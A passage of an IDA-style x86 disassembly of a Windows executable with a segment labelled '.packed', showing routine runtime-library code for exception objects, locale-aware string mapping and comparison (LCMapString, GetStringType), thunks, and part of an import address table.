		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: .packed:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: .packed:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266F6	proc near		; DATA XREF: .packed:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: .packed:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: .packed:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426750	proc near		; CODE XREF: sub_40D99B+6Cp
		jmp	dword_4271D8
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; sub_40E991+14Ap ...
		jmp	dword_42722C
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	dword_42719C
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB9F4, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: .packed:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: .packed:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: .packed:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: .packed:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: .packed:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; .packed:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: .packed:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42705C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB9F4, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB9F4
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC4C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		call	dword_427050	; LCMapStringW
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC4C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB4EC
		push	edi
		push	esi
		call	dword_427054	; LCMapStringA
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC4C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC4C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427050	; LCMapStringW
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA04
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_42717C	; WideCharToMultiByte
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	dword_42717C	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427054	; LCMapStringA
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427054	; LCMapStringA
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		call	dword_427180	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B91	proc near		; CODE XREF: sub_426988+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_426BB0


loc_426BA1:				; CODE XREF: sub_426B91+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_426BB0
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_426BA1


loc_426BB0:				; CODE XREF: sub_426B91+Ej
					; sub_426B91+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_426BBE
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_426BBE:				; CODE XREF: sub_426B91+24j
		mov	eax, edx
		retn
sub_426B91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426BC1	proc near		; CODE XREF: sub_426913+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_426C01
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426BE5
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43C9BC
		mov	ax, [ecx+eax*2]
		jmp	short loc_426C08
; ---------------------------------------------------------------------------


loc_426BE5:				; CODE XREF: sub_426BC1+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_426C13
		add	esp, 18h
		test	eax, eax
		jnz	short loc_426C05


loc_426C01:				; CODE XREF: sub_426BC1+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426C05:				; CODE XREF: sub_426BC1+3Ej
		mov	eax, [ebp+var_4]


loc_426C08:				; CODE XREF: sub_426BC1+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_426BC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C13	proc near		; CODE XREF: sub_426BC1+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DC8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBC50
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426C82
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	dword_427020	; GetStringTypeW
		test	eax, eax
		jz	short loc_426C60
		mov	eax, esi
		jmp	short loc_426C7D
; ---------------------------------------------------------------------------


loc_426C60:				; CODE XREF: sub_426C13+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CB4EC
		push	esi
		push	edi
		call	dword_427024	; GetStringTypeA
		test	eax, eax
		jz	loc_426DC4
		push	2
		pop	eax


loc_426C7D:				; CODE XREF: sub_426C13+4Bj
		mov	dword_4DBC50, eax


loc_426C82:				; CODE XREF: sub_426C13+2Fj
		cmp	eax, 1
		jnz	short loc_426C9E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_427020	; GetStringTypeW
		jmp	loc_426DC6
; ---------------------------------------------------------------------------


loc_426C9E:				; CODE XREF: sub_426C13+72j
		cmp	eax, 2
		jnz	loc_426DC4
		cmp	[ebp+arg_10], edi
		jnz	short loc_426CB4
		mov	eax, dword_4DBA04
		mov	[ebp+arg_10], eax


loc_426CB4:				; CODE XREF: sub_426C13+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_42717C	; WideCharToMultiByte
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426DC4
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426D12
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_426D12:				; CODE XREF: sub_426C13+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426DC4
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		call	dword_42717C	; WideCharToMultiByte
		test	eax, eax
		jz	loc_426DC4
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426D67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426D67:				; CODE XREF: sub_426C13+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426DC4
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426D7B
		mov	eax, dword_4DB9F4


loc_426D7B:				; CODE XREF: sub_426C13+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		call	dword_427024	; GetStringTypeA
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426DC4
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426DC4
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CC90
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426DC6
; ---------------------------------------------------------------------------


loc_426DC4:				; CODE XREF: sub_426C13+61j
					; sub_426C13+8Ej ...
		xor	eax, eax


loc_426DC6:				; CODE XREF: sub_426C13+86j
					; sub_426C13+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426C13	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: .packed:00427F7Co

; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A8
sub_426DD8	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: .packed:00426DE8j
		retn
; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Co
		mov	eax, offset dword_427F50
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E0C:				; DATA XREF: .packed:00427FACo
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E14:				; DATA XREF: sub_40D21Eo
		mov	eax, offset dword_427F80
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		align 10h


loc_426E20:				; DATA XREF: sub_40D78Bo
		mov	eax, offset dword_427FB0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset dword_428010
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset dword_4280A8
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset dword_4280CC
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset dword_4280F0
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A8
; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset dword_428150
		jmp	loc_41C91F
; ---------------------------------------------------------------------------
		dd 5Fh dup(0)
dword_427000	dd 77E75D9Eh		; DATA XREF: sub_40F96A+201r
					; sub_416DC8+26r
dword_427004	dd 77E6BD68h		; DATA XREF: sub_4261AB+173r
dword_427008	dd 77E77F2Eh		; DATA XREF: sub_425F03+3Er
					; sub_425F03+261r
dword_42700C	dd 77E762D0h		; DATA XREF: sub_425F03+5Br
					; sub_425F03+B9r
dword_427010	dd 77E70192h		; DATA XREF: sub_424F0A+F9r
dword_427014	dd 77E7176Ch		; DATA XREF: sub_4247A8+8r
dword_427018	dd 77E7339Ch		; DATA XREF: sub_424770+Cr
dword_42701C	dd 77E7C9E7h		; DATA XREF: sub_424752+5r
					; sub_424763+6r
dword_427020	dd 77E7C866h		; DATA XREF: sub_423CEC+3Fr
					; sub_423CEC+12Dr ...
dword_427024	dd 77E641EBh		; DATA XREF: sub_423CEC+59r
					; sub_423CEC+8Dr ...
dword_427028	dd 77E73FF9h		; DATA XREF: sub_4238DF+2Cr
dword_42702C	dd 77E7FF2Eh		; DATA XREF: sub_4237B1:loc_423801r
					; sub_423828:loc_42387Br
dword_427030	dd 77E78406h		; DATA XREF: sub_423302+FFr
					; sub_423302+166r ...
dword_427034	dd 77E79C3Dh		; DATA XREF: sub_423302+158r
					; sub_4235C9+143r
dword_427038	dd 77E7C931h		; DATA XREF: sub_423302+19Dr
dword_42703C	dd 77E77EE1h		; DATA XREF: sub_4231D0+9r
dword_427040	dd 77E67702h		; DATA XREF: sub_4231D0:loc_4231FFr
					; sub_4231D0+E1r
dword_427044	dd 77E7C9E1h		; DATA XREF: sub_4231D0+CEr
dword_427048	dd 77E9C5B1h		; DATA XREF: sub_4231D0+11Fr
dword_42704C	dd 77EB9A84h		; DATA XREF: sub_422CEE+138r
dword_427050	dd 77E781F9h		; DATA XREF: sub_422ACA+42r
					; sub_422ACA+14Dr ...
